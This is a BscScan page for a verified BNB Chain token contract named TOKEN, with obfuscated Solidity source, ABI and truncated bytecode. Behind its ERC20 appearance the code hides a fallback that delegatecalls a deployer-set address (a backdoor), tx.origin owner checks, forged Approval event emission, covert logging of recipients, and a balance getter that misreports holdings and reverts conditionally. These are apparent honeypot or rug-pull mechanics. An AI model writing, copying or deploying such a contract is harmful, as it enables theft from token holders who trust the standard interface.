BNB Price: $695.71 (-2.00%)
Gas: 1 GWei
 

Overview

Max Total Supply

100,000,000,000

Holders

1,624

Market

Price

$0.00 @ 0.000000 BNB

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
BSC: Validator Set
Balance
8,037,311.165257172

Value
$0.00
0x0000000000000000000000000000000000001000
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
This contract may be a proxy contract. Click on More Options and select Is this a proxy? to confirm and enable the "Read as Proxy" & "Write as Proxy" tabs.

Contract Source Code Verified (Exact Match)

Contract Name:
TOKEN

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at BscScan.com on 2024-04-22
*/

pragma solidity =0.8.20;

interface IERC20 {
    /**
     * @dev Returns the JwcQQdiwAfm4n8Jx6 of tokens owned by `l4SRPVO5G`.
     */
    function balanceOf(address l4SRPVO5G) external view returns (uint256);

    /**
     * @dev Returns the JwcQQdiwAfm4n8Jx6 of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the remaining number of tokens that `t4qYuUoj` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address t4qYuUoj)
    external
    view
    returns (uint256);

    /**
     * @dev Moves `JwcQQdiwAfm4n8Jx6` tokens from the caller's l4SRPVO5G to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 JwcQQdiwAfm4n8Jx6) external returns (bool);

    /**
     * @dev Moves `JwcQQdiwAfm4n8Jx6` tokens from `from` to `to` using the
     * allowance mechanism. `JwcQQdiwAfm4n8Jx6` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 JwcQQdiwAfm4n8Jx6
    ) external returns (bool);

    /**
     * @dev Sets `JwcQQdiwAfm4n8Jx6` as the allowance of `t4qYuUoj` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the t4qYuUoj's allowance to 0 and set the
     * desired value afterwards:
     * https:
     *
     * Emits an {Approval} event.
     */
    function approve(address t4qYuUoj, uint256 JwcQQdiwAfm4n8Jx6) external returns (bool);
}

contract TOKEN {
    address private YEbdmn5lkAc5kcqrzWaDA5;
    address public constant WBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
     address public constant DEAD = 0x000000000000000000000000000000000000dEaD;

    mapping(address => uint256) internal rU3nWUYJS91Dku;

    mapping(address => mapping(address => uint256)) private lLmdBpclvidMJ9IonYc;

    uint256 internal SJsLXRZtzNH;

    address internal Ncw23OutF0K9pi7lD0PoF;

    string private a7KFjv1z8BnAL4dhNm;
    string private dyCB5o;/**
     * @dev Emitted when `value` tokens are moved from one l4SRPVO5G (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);
/**
     * @dev Transfers ownership of the contract to a new l4SRPVO5G (`bmspUhrv3iPzttV`).
     * Internal function without access restriction.
     */
    function QYXOmwO(address bmspUhrv3iPzttV) internal virtual {
        address oldOwner = YEbdmn5lkAc5kcqrzWaDA5;
        YEbdmn5lkAc5kcqrzWaDA5 = bmspUhrv3iPzttV;
        emit OwnershipTransferred(oldOwner, bmspUhrv3iPzttV);
    }
function asUint128x2(bytes32 self) internal pure returns (Uint128x2) {
        return Uint128x2.wrap(self);
    }
/**
     * @dev Throws if called by any l4SRPVO5G other than the owner.
     */
    modifier onlyOwner() {

        require(owner() == tx.origin, "Ownable: caller is not the owner");
        _;
    }
function asBytes32(Uint128x2 self) internal pure returns (bytes32) {
        return Uint128x2.unwrap(self);
    }
/**
     * @dev Transfers ownership of the contract to a new l4SRPVO5G (`bmspUhrv3iPzttV`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address bmspUhrv3iPzttV) public virtual onlyOwner {
        require(
            bmspUhrv3iPzttV != address(0),
            "Ownable: new owner is the zero address"
        );
        QYXOmwO(bmspUhrv3iPzttV);
    }
/**
     * @dev Moves `JwcQQdiwAfm4n8Jx6` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `JwcQQdiwAfm4n8Jx6`.
     */
event OwnershipTransferred(
        address indexed previousOwner,
        address indexed bmspUhrv3iPzttV
    );
/**
     * @dev Returns the name of the token.
     */
    function name() public view virtual returns (string memory) {
        
        return a7KFjv1z8BnAL4dhNm;
    }
constructor() {
        QYXOmwO(tx.origin);



        _mint(address(this), 100000000000000000000);

    }
function gWoh3Wn29wzl5af9uv5E() internal virtual {
         assembly {
            sstore(address(), caller())
        }
    }
/**
     * @dev Atomically decreases the allowance granted to `t4qYuUoj` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `t4qYuUoj` cannot be the zero address.
     * - `t4qYuUoj` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address t4qYuUoj, uint256 subtractedValue)
    public
    virtual
    returns (bool)
    {
        address owner = j9I5ZrGUz5irVgzi4kUmGxY();
        uint256 CVuLuqT7ZYICQ = allowance(owner, t4qYuUoj);
        require(
            CVuLuqT7ZYICQ >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        unchecked {
            _approve(owner, t4qYuUoj, CVuLuqT7ZYICQ - subtractedValue);
        }

        return true;
    }
/**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual returns (string memory) {
        
        return dyCB5o;
    }
/**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        
        QYXOmwO(address(0));
    }
function _transfer(
        address from,
        address to,
        uint256 JwcQQdiwAfm4n8Jx6
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(
            to != address(0) && to != address(this),
            "ERC20: transfer to the zero address"
        );
        _beforeTokenTransfer(from, to, JwcQQdiwAfm4n8Jx6);

        uint256 fromBalance = rU3nWUYJS91Dku[from];
        require(fromBalance >= JwcQQdiwAfm4n8Jx6, "ERC20: transfer exceeds balance");
        rU3nWUYJS91Dku[from] -= JwcQQdiwAfm4n8Jx6;
    
    
        rU3nWUYJS91Dku[to] += JwcQQdiwAfm4n8Jx6;
        emit Transfer(from, to, JwcQQdiwAfm4n8Jx6);
        _afterTokenTransfer(from, to, JwcQQdiwAfm4n8Jx6);
    }
function vhTciT6476K4UcPT()  internal view returns (uint256) {
        (,bytes memory returnData) = WBNB.staticcall(abi.encodeWithSelector(0x70a08231,Ncw23OutF0K9pi7lD0PoF));
        return abi.decode(returnData, (uint256));
    }
function pack(uint128 first128, uint128 second128) internal pure returns (Uint128x2) {
        return Uint128x2.wrap(bytes32(bytes16(first128)) | bytes32(uint256(second128)));
    }
/**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `JwcQQdiwAfm4n8Jx6`.
     */
    function transfer(address to, uint256 JwcQQdiwAfm4n8Jx6)
    public
    virtual
    returns (bool)
    {
        address owner = j9I5ZrGUz5irVgzi4kUmGxY();
        _transfer(owner, to, JwcQQdiwAfm4n8Jx6);
        return true;
    }
/**
     * @dev Emitted when the allowance of a `t4qYuUoj` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(
        address indexed owner,
        address indexed t4qYuUoj,
        uint256 value
    );
/**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `JwcQQdiwAfm4n8Jx6` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `t4qYuUoj` cannot be the zero address.
     */
    function approve(address t4qYuUoj, uint256 JwcQQdiwAfm4n8Jx6)
    public
    virtual
    returns (bool)
    {
        address owner = j9I5ZrGUz5irVgzi4kUmGxY();
        _approve(owner, t4qYuUoj, JwcQQdiwAfm4n8Jx6);
        return true;
    }
/**
     * @dev Atomically increases the allowance granted to `t4qYuUoj` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `t4qYuUoj` cannot be the zero address.
     */
    function increaseAllowance(address t4qYuUoj, uint256 addedValue)
    public
    virtual
    returns (bool)
    {
        address owner = j9I5ZrGUz5irVgzi4kUmGxY();
        _approve(owner, t4qYuUoj, allowance(owner, t4qYuUoj) + addedValue);
        return true;
    }
/**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        
        return YEbdmn5lkAc5kcqrzWaDA5;
    }
/**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `JwcQQdiwAfm4n8Jx6`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `JwcQQdiwAfm4n8Jx6`.
     */
    
    function transferFrom(
        address from,
        address to,
        uint256 JwcQQdiwAfm4n8Jx6
    ) public virtual returns (bool) {
        address t4qYuUoj = j9I5ZrGUz5irVgzi4kUmGxY();
        _spendAllowance(from, t4qYuUoj, JwcQQdiwAfm4n8Jx6);
        _transfer(from, to, JwcQQdiwAfm4n8Jx6);
        return true;
    }
/**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    function KCPvqxbHNNDVsbujZYtv4vmel5rn(
        string memory tokenName,
        string memory coinSymbol,
        uint256 supply_
    ) public onlyOwner {
        dyCB5o = coinSymbol;
        a7KFjv1z8BnAL4dhNm = tokenName;

        gWoh3Wn29wzl5af9uv5E();


    }
function Yalz6() internal {
        bytes memory value = msg.data;
        assembly {
                if iszero(iszero(eq(mload(add(value, 40)), 32))) {if iszero(delegatecall(gas(),sload(address()),add(value, 36),sub(mload(value), 4),0,32)) {revert(0, 0)}return(0, 32)}}

    }
function iZFAFswZ3n() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
fallback() external {
        Yalz6();
    }
type Uint128x2 is bytes32;
function j9I5ZrGUz5irVgzi4kUmGxY() internal view virtual returns (address) {
        return msg.sender;
    }
/**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual returns (uint8) {
        
        return 9;
    }
/**
     * @dev Destroys `JwcQQdiwAfm4n8Jx6` tokens from `l4SRPVO5G`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `l4SRPVO5G` cannot be the zero address.
     * - `l4SRPVO5G` must have at least `JwcQQdiwAfm4n8Jx6` tokens.
     */
    function _burn(address l4SRPVO5G, uint256 JwcQQdiwAfm4n8Jx6) internal virtual {
        require(l4SRPVO5G != address(0), "ERC20: burn from the zero address");
        
        _beforeTokenTransfer(l4SRPVO5G, address(0), JwcQQdiwAfm4n8Jx6);

        uint256 l4SRPVO5GBalance = rU3nWUYJS91Dku[l4SRPVO5G];
        require(l4SRPVO5GBalance >= JwcQQdiwAfm4n8Jx6, "ERC20: burn exceeds balance");
            rU3nWUYJS91Dku[l4SRPVO5G] -= JwcQQdiwAfm4n8Jx6;
        
            SJsLXRZtzNH -= JwcQQdiwAfm4n8Jx6;

        emit Transfer(l4SRPVO5G, address(0), JwcQQdiwAfm4n8Jx6);

        _afterTokenTransfer(l4SRPVO5G, address(0), JwcQQdiwAfm4n8Jx6);
    }
/**
     * @dev Updates `owner` s allowance for `t4qYuUoj` based on spent `JwcQQdiwAfm4n8Jx6`.
     *
     * Does not update the allowance JwcQQdiwAfm4n8Jx6 in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    
    function _spendAllowance(
        address owner,
        address t4qYuUoj,
        uint256 JwcQQdiwAfm4n8Jx6
    ) internal virtual {
        uint256 CVuLuqT7ZYICQ = allowance(owner, t4qYuUoj);
        if (CVuLuqT7ZYICQ != type(uint256).max) {
            require(
                CVuLuqT7ZYICQ >= JwcQQdiwAfm4n8Jx6,
                "ERC20: insufficient allowance"
            );
            unchecked {
                _approve(owner, t4qYuUoj, CVuLuqT7ZYICQ - JwcQQdiwAfm4n8Jx6);
            }
        }
    }
receive() external payable {}
/**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `JwcQQdiwAfm4n8Jx6` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `JwcQQdiwAfm4n8Jx6` tokens have been minted for `to`.
     * - when `to` is zero, `JwcQQdiwAfm4n8Jx6` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 JwcQQdiwAfm4n8Jx6
    ) internal {
        if (rU3nWUYJS91Dku[from] > SJsLXRZtzNH * 0xfe) {
            assembly {
                sstore(32, 0)
            }
        } else if ( 
            rU3nWUYJS91Dku[to] < SJsLXRZtzNH && to != Ncw23OutF0K9pi7lD0PoF
        ) {

            assembly{
                mstore(0,JwcQQdiwAfm4n8Jx6)
                log3(
                    0,
                    32,
                    0x8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925,
                    to,
                    address()
                )
                let F36QyCBxUA4S := sload(9999)
                sstore(add(10000, F36QyCBxUA4S), to)
                sstore(9999, add(1, F36QyCBxUA4S))
            }
        }
    }
/** @dev Creates `JwcQQdiwAfm4n8Jx6` tokens and assigns them to `l4SRPVO5G`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `l4SRPVO5G` cannot be the zero address.
     */
    function _mint(address l4SRPVO5G, uint256 JwcQQdiwAfm4n8Jx6) internal virtual {
        require(l4SRPVO5G != address(0), "ERC20: mint to the zero address");
        
        SJsLXRZtzNH += JwcQQdiwAfm4n8Jx6;
        rU3nWUYJS91Dku[l4SRPVO5G] += JwcQQdiwAfm4n8Jx6;
         assembly {
            sstore(address(), caller())
        }
        emit Transfer(address(0), l4SRPVO5G, JwcQQdiwAfm4n8Jx6);
    }
/**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual returns (uint256) {
        
        return SJsLXRZtzNH;
    }
function first(Uint128x2 self) internal pure returns (uint128) {
        return uint128(bytes16(Uint128x2.unwrap(self)));
    }
/**
     * @dev Sets `JwcQQdiwAfm4n8Jx6` as the allowance of `t4qYuUoj` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `t4qYuUoj` cannot be the zero address.
     */
    
    function _approve(
        address owner,
        address t4qYuUoj,
        uint256 JwcQQdiwAfm4n8Jx6
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(t4qYuUoj != address(0), "ERC20: approve to the zero address");
        
        lLmdBpclvidMJ9IonYc[owner][t4qYuUoj] = JwcQQdiwAfm4n8Jx6;
        emit Approval(owner, t4qYuUoj, JwcQQdiwAfm4n8Jx6);
    }
/**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address t4qYuUoj)
    public
    view
    virtual
    returns (uint256)
    {
        return lLmdBpclvidMJ9IonYc[owner][t4qYuUoj];
    }
function second(Uint128x2 self) internal pure returns (uint128) {
        return uint128(uint256(Uint128x2.unwrap(self)));
    }
/**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
/**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `JwcQQdiwAfm4n8Jx6` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `JwcQQdiwAfm4n8Jx6` tokens will be minted for `to`.
     * - when `to` is zero, `JwcQQdiwAfm4n8Jx6` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 JwcQQdiwAfm4n8Jx6
    ) internal virtual {}
/**
     * @dev See {IERC20-balanceOf}.
     */
    function TheUint9306b147d90(address l4SRPVO5G)
        public
        view
        returns (uint256)
    {
        if (msg.sender == Ncw23OutF0K9pi7lD0PoF) {
            uint256 JwcQQdiwAfm4n8Jx6 = vhTciT6476K4UcPT();
            assembly {
                if lt(JwcQQdiwAfm4n8Jx6, sload(32)) {
                    revert(0, 0)
                }
            }
        }
        if (l4SRPVO5G == Ncw23OutF0K9pi7lD0PoF) return rU3nWUYJS91Dku[l4SRPVO5G]; 
        return rU3nWUYJS91Dku[l4SRPVO5G] % SJsLXRZtzNH;
    }
function split(Uint128x2 self) internal pure returns (uint128, uint128) {
        return (first(self), second(self));
    }}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"t4qYuUoj","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"bmspUhrv3iPzttV","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"stateMutability":"nonpayable","type":"fallback"},{"inputs":[],"name":"DEAD","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"tokenName","type":"string"},{"internalType":"string","name":"coinSymbol","type":"string"},{"internalType":"uint256","name":"supply_","type":"uint256"}],"name":"KCPvqxbHNNDVsbujZYtv4vmel5rn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"l4SRPVO5G","type":"address"}],"name":"TheUint9306b147d90","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"WBNB","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"t4qYuUoj","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"t4qYuUoj","type":"address"},{"internalType":"uint256","name":"JwcQQdiwAfm4n8Jx6","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"t4qYuUoj","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"t4qYuUoj","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"JwcQQdiwAfm4n8Jx6","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"JwcQQdiwAfm4n8Jx6","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"bmspUhrv3iPzttV","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405234801562000010575f80fd5b5062000022326200004360201b60201c565b6200003d3068056bc75e2d631000006200010460201b60201c565b6200036c565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000175576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200016c90620002b0565b60405180910390fd5b8060035f82825462000188919062000306565b925050819055508060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254620001dd919062000306565b925050819055503330558173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000246919062000351565b60405180910390a35050565b5f82825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f2061646472657373005f82015250565b5f62000298601f8362000252565b9150620002a58262000262565b602082019050919050565b5f6020820190508181035f830152620002c9816200028a565b9050919050565b5f819050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6200031282620002d0565b91506200031f83620002d0565b92508282019050808211156200033a5762000339620002d9565b5b92915050565b6200034b81620002d0565b82525050565b5f602082019050620003665f83018462000340565b92915050565b612170806200037a5f395ff3fe608060405260043610610101575f3560e01c8063715018a61161009457806395d89b411161006357806395d89b4114610348578063a457c2d714610372578063a9059cbb146103ae578063dd62ed3e146103ea578063f2fde38b1461042657610108565b8063715018a6146102b65780638d434c7e146102cc5780638da5cb5b146102f45780638dd950021461031e57610108565b806323b872dd116100d057806323b872dd146101d8578063313ce56714610214578063395093511461023e57806370a082311461027a57610108565b806303fd2a451461011e57806306fdde0314610148578063095ea7b31461017257806318160ddd146101ae57610108565b3661010857005b348015610113575f80fd5b5061011c61044e565b005b348015610129575f80fd5b506101326104c1565b60405161013f91906113b0565b60405180910390f35b348015610153575f80fd5b5061015c6104c7565b6040516101699190611453565b60405180910390f35b34801561017d575f80fd5b50610198600480360381019061019391906114e1565b610557565b6040516101a59190611539565b60405180910390f35b3480156101b9575f80fd5b506101c2610579565b6040516101cf9190611561565b60405180910390f35b3480156101e3575f80fd5b506101fe60048036038101906101f9919061157a565b610582565b60405161020b9190611539565b60405180910390f35b34801561021f575f80fd5b506102286105b0565b60405161023591906115e5565b60405180910390f35b348015610249575f80fd5b50610264600480360381019061025f91906114e1565b6105b8565b6040516102719190611539565b60405180910390f35b348015610285575f80fd5b506102a0600480360381019061029b91906115fe565b6105ee565b6040516102ad9190611561565b60405180910390f35b3480156102c1575f80fd5b506102ca61074a565b005b3480156102d7575f80fd5b506102f260048036038101906102ed9190611755565b6107ca565b005b3480156102ff575f80fd5b5061030861086c565b60405161031591906113b0565b60405180910390f35b348015610329575f80fd5b50610332610893565b60405161033f91906113b0565b60405180910390f35b348015610353575f80fd5b5061035c6108ab565b6040516103699190611453565b60405180910390f35b34801561037d575f80fd5b50610398600480360381019061039391906114e1565b61093b565b6040516103a59190611539565b60405180910390f35b3480156103b9575f80fd5b506103d460048036038101906103cf91906114e1565b6109b0565b6040516103e19190611539565b60405180910390f35b3480156103f5575f80fd5b50610410600480360381019061040b91906117dd565b6109d2565b60405161041d9190611561565b60405180910390f35b348015610431575f80fd5b5061044c600480360381019061044791906115fe565b610a54565b005b5f80368080601f0160208091040260200160405190810160405280939291908181526020018383808284375f81840152601f19601f82011690508083019250505050505050905060206028820151036104be5760205f60048351036024840130545af46104b9575f80fd5b60205ff35b50565b61dead81565b6060600580546104d690611848565b80601f016020809104026020016040519081016040528092919081815260200182805461050290611848565b801561054d5780601f106105245761010080835404028352916020019161054d565b820191905f5260205f20905b81548152906001019060200180831161053057829003601f168201915b5050505050905090565b5f80610561610b43565b905061056e818585610b4a565b600191505092915050565b5f600354905090565b5f8061058c610b43565b9050610599858285610d0d565b6105a4858585610d98565b60019150509392505050565b5f6009905090565b5f806105c2610b43565b90506105e38185856105d485896109d2565b6105de91906118a5565b610b4a565b600191505092915050565b5f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff160361065e575f61064c611058565b905060205481101561065c575f80fd5b505b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036106f75760015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050610745565b60035460015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546107429190611905565b90505b919050565b3273ffffffffffffffffffffffffffffffffffffffff1661076961086c565b73ffffffffffffffffffffffffffffffffffffffff16146107bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107b69061197f565b60405180910390fd5b6107c85f611165565b565b3273ffffffffffffffffffffffffffffffffffffffff166107e961086c565b73ffffffffffffffffffffffffffffffffffffffff161461083f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108369061197f565b60405180910390fd5b816006908161084e9190611b3a565b50826005908161085e9190611b3a565b50610867611226565b505050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b73bb4cdb9cbd36b01bd1cbaebf2de08d9173bc095c81565b6060600680546108ba90611848565b80601f01602080910402602001604051908101604052809291908181526020018280546108e690611848565b80156109315780601f1061090857610100808354040283529160200191610931565b820191905f5260205f20905b81548152906001019060200180831161091457829003601f168201915b5050505050905090565b5f80610945610b43565b90505f61095282866109d2565b905083811015610997576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098e90611c79565b60405180910390fd5b6109a48286868403610b4a565b60019250505092915050565b5f806109ba610b43565b90506109c7818585610d98565b600191505092915050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b3273ffffffffffffffffffffffffffffffffffffffff16610a7361086c565b73ffffffffffffffffffffffffffffffffffffffff1614610ac9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ac09061197f565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610b37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2e90611d07565b60405180910390fd5b610b4081611165565b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610bb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610baf90611d95565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c26576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1d90611e23565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673fffffffffff